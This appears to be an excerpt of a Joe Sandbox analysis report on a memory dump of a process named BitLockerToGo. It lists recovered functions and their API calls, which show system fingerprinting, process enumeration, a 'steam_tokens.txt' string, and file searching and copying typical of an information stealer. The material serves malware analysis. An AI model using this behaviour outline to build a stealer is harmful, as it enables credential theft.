Part of subcall function 03017E00: RegQueryValueExA.KERNEL32(?,03555970,00000000,00000000,000000FF,000000FF), ref: 03017E7F
Part of subcall function 03017E00: RegCloseKey.ADVAPI32(?), ref: 03017E92

Part of subcall function 03017F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 03017FC9
Part of subcall function 03017F60: GetLastError.KERNEL32 ref: 03017FD8

Part of subcall function 03017ED0: GetSystemInfo.KERNEL32(03020E2C), ref: 03017F00
Part of subcall function 03017ED0: wsprintfA.USER32 ref: 03017F16

Part of subcall function 03018100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,03555F10,00000000,?,03020E2C,00000000,?,00000000), ref: 03018130
Part of subcall function 03018100: RtlAllocateHeap.NTDLL(00000000), ref: 03018137
Part of subcall function 03018100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 03018158
Part of subcall function 03018100: __aulldiv.LIBCMT ref: 03018172
Part of subcall function 03018100: __aulldiv.LIBCMT ref: 03018180
Part of subcall function 03018100: wsprintfA.USER32 ref: 030181AC

Part of subcall function 030187C0: CreateDCA.GDI32(03540598,00000000,00000000,00000000), ref: 030187F5
Part of subcall function 030187C0: GetDeviceCaps.GDI32(?,00000008), ref: 03018804
Part of subcall function 030187C0: GetDeviceCaps.GDI32(?,0000000A), ref: 03018813
Part of subcall function 030187C0: ReleaseDC.USER32(00000000,?), ref: 03018822
Part of subcall function 030187C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,03020E28,00000000,?), ref: 0301882F
Part of subcall function 030187C0: RtlAllocateHeap.NTDLL(00000000), ref: 03018836
Part of subcall function 030187C0: wsprintfA.USER32 ref: 03018850

Part of subcall function 030181F0: EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000001), ref: 03018254

Part of subcall function 03018320: RegOpenKeyExA.KERNEL32(00000000,035533D0,00000000,00020019,00000000,030205B6), ref: 030183A4

Part of subcall function 03018320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 03018426
Part of subcall function 03018320: wsprintfA.USER32 ref: 03018459
Part of subcall function 03018320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0301847B
Part of subcall function 03018320: RegCloseKey.ADVAPI32(00000000), ref: 0301848C
Part of subcall function 03018320: RegCloseKey.ADVAPI32(00000000), ref: 03018499

Part of subcall function 03018680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,030205B7), ref: 030186CA
Part of subcall function 03018680: Process32First.KERNEL32(?,00000128), ref: 030186DE
Part of subcall function 03018680: Process32Next.KERNEL32(?,00000128), ref: 030186F3
Part of subcall function 03018680: CloseHandle.KERNEL32(?), ref: 03018761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0301265B

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CapsCreateCurrentDeviceEnumHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerDefaultDevicesDirectoryDisplayErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQueryReleaseSnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 2572046482-0
Opcode ID: f6803d2ee4b0baf71b181544c1e7aa13dec09ae94ea0f23dde615e1451a2368a
Instruction ID: 0738ca92d90e8cd7df5356625fda7a692799daff293b9768d903c783efed8127
Opcode Fuzzy Hash: f6803d2ee4b0baf71b181544c1e7aa13dec09ae94ea0f23dde615e1451a2368a
Instruction Fuzzy Hash: B072657AD13218ABDB19FB50ED90EDE733CAF94210F508299A1176A050EF707B5ACF64

Function 03006BE0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,@Jn,@Jn), ref: 03006C9F

Strings

@Jn, xrefs: 03006C80, 03006C83

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @Jn
API String ID: 544645111-793231106
Opcode ID: 4e61fd552be201176b232decaae58ec40280291e8d7316251b2aeec3c175ed94
Instruction ID: aa26231b951dc13dedc52f054e09fb40654c9287471be2e6a5572707564f1b44
Opcode Fuzzy Hash: 4e61fd552be201176b232decaae58ec40280291e8d7316251b2aeec3c175ed94
Instruction Fuzzy Hash: D321EA74A0120CEFEB44CF89C594BADBBB2FF48304F148599D5559B381D7369A91CF80

Function 03006D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef4cf1024f8c897b80978164d31adf7b1db87c1ee56f7735b024cf68c084aa27
Instruction ID: 9809abc451bb094ac7653251ab047222cf4ecc0fb66f7765f0a879b4ace48313
Opcode Fuzzy Hash: ef4cf1024f8c897b80978164d31adf7b1db87c1ee56f7735b024cf68c084aa27
Instruction Fuzzy Hash: CA6115B490121CDBEB14CF94D984BEEB7B1EB44304F148598E41AAB280D736ABA4CF91

Function 03015100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A820: lstrlen.KERNEL32(00000000,?,?,03015B54,03020ADB,03020ADA,?,?,03016B16,00000000,?,03540578,?,0302110C,?,00000000), ref: 0301A82B
Part of subcall function 0301A820: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A885

lstrlen.KERNEL32(00000000,00000000,03020ACA,?,?,?,?,?,?,0301610B,?), ref: 0301512A

Strings

steam_tokens.txt, xrefs: 0301513F

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: fb1c638687aa60581a2b20de4cadcf9236c982449330968bcce80e7cd13b557d
Instruction ID: cf4d2b283db1a06c5e4075220c37ceb0b96af59130463c157eafb0d761a357ea
Opcode Fuzzy Hash: fb1c638687aa60581a2b20de4cadcf9236c982449330968bcce80e7cd13b557d
Instruction Fuzzy Hash: 65F06D3AA4320866DB08F7B0ED559ED773C9B94210F804128A4126E480EF34672AC7A1

Function 03001160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,03016A17,03020AEF), ref: 0300116A
ExitProcess.KERNEL32 ref: 0300117E

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 0bd171d6c86b6a24e0f6f53f1f3e731d0a6bb3589d387311ef86645ed4c6578a
Instruction ID: fd86e55cf88d53bfadebec0238851e73bc238aea7f1e4d5073e88d7288cbf616
Opcode Fuzzy Hash: 0bd171d6c86b6a24e0f6f53f1f3e731d0a6bb3589d387311ef86645ed4c6578a
Instruction Fuzzy Hash: AFD05E78D4030CDBDB14EFE4E94D6DDBB78FB08311F000594E90562340EB306481CAA5

Function 0300B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Part of subcall function 03009E10: memcmp.MSVCRT(?,v20,00000003), ref: 03009E2D

lstrlen.KERNEL32(00000000), ref: 0300B9C2
lstrlen.KERNEL32(00000000), ref: 0300B9D6

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID:
API String ID: 3457870978-0
Opcode ID: da3540abb5b9e05f122061a1a8bb700eb59d4a0dd6358463930fe1db6811fb5a
Instruction ID: 5e26a6782d4ec49fb8f1a4e98e0ec29743ce15058bc48667c63b7e41f9e01a00
Opcode Fuzzy Hash: da3540abb5b9e05f122061a1a8bb700eb59d4a0dd6358463930fe1db6811fb5a
Instruction Fuzzy Hash: 18E1007AA132189BDF19FBA0DD94EEE733CBF94210F404159E5066B090EF746B5ACB60

Function 0300AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

lstrlen.KERNEL32(00000000), ref: 0300B16A
lstrlen.KERNEL32(00000000), ref: 0300B17E

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: db1c37218b7c1978556d78c04299176e116a62848eb8622d030cad7f0f49f6d3
Instruction ID: 6ade80e7c2dda5d02416b99aa9397bac71325473929ea29685d13fbdffa6281f
Opcode Fuzzy Hash: db1c37218b7c1978556d78c04299176e116a62848eb8622d030cad7f0f49f6d3
Instruction Fuzzy Hash: C491247AA132189BDF04FBA0DD94DEE7339AF94210F404169F507AB090EF746A59CBB0

Function 0300B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

lstrlen.KERNEL32(00000000), ref: 0300B42E
lstrlen.KERNEL32(00000000), ref: 0300B442

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 4e7b344be8ccab07724430bfe5763e51530d524573b47c2c3f5b32b4734418b6
Instruction ID: e3f707ae57c16a1ff9cf5ce2469b6e9eb92ac3fc629249934dbfd17d4bb5fa2f
Opcode Fuzzy Hash: 4e7b344be8ccab07724430bfe5763e51530d524573b47c2c3f5b32b4734418b6
Instruction Fuzzy Hash: 2571337AA132189BDF04FBA0DD94DEE7379BF94210F404519F507AB090EF74AA59CBA0

Function 03014BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 03018DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 03018E0B

lstrcat.KERNEL32(?,00000000), ref: 03014BEA
lstrcat.KERNEL32(?,035558D0), ref: 03014C08

Part of subcall function 03014910: wsprintfA.USER32 ref: 0301492C
Part of subcall function 03014910: FindFirstFileA.KERNEL32(?,?), ref: 03014943

Part of subcall function 03014910: StrCmpCA.SHLWAPI(?,03020FDC), ref: 03014971
Part of subcall function 03014910: StrCmpCA.SHLWAPI(?,03020FE0), ref: 03014987
Part of subcall function 03014910: FindNextFileA.KERNEL32(000000FF,?), ref: 03014B7D
Part of subcall function 03014910: FindClose.KERNEL32(000000FF), ref: 03014B92

Part of subcall function 03014910: wsprintfA.USER32 ref: 030149B0
Part of subcall function 03014910: StrCmpCA.SHLWAPI(?,030208D2), ref: 030149C5
Part of subcall function 03014910: wsprintfA.USER32 ref: 030149E2
Part of subcall function 03014910: PathMatchSpecA.SHLWAPI(?,?), ref: 03014A1E
Part of subcall function 03014910: lstrcat.KERNEL32(?,03554CD0), ref: 03014A4A
Part of subcall function 03014910: lstrcat.KERNEL32(?,03020FF8), ref: 03014A5C
Part of subcall function 03014910: lstrcat.KERNEL32(?,?), ref: 03014A70
Part of subcall function 03014910: lstrcat.KERNEL32(?,03020FFC), ref: 03014A82
Part of subcall function 03014910: lstrcat.KERNEL32(?,?), ref: 03014A96
Part of subcall function 03014910: CopyFileA.KERNEL32(?,?,00000001), ref: 03014AAC
Part of subcall function 03014910: DeleteFileA.KERNEL32(?), ref: 03014B31

Part of subcall function 03014910: wsprintfA.USER32 ref: 03014A07

Memory Dump Source

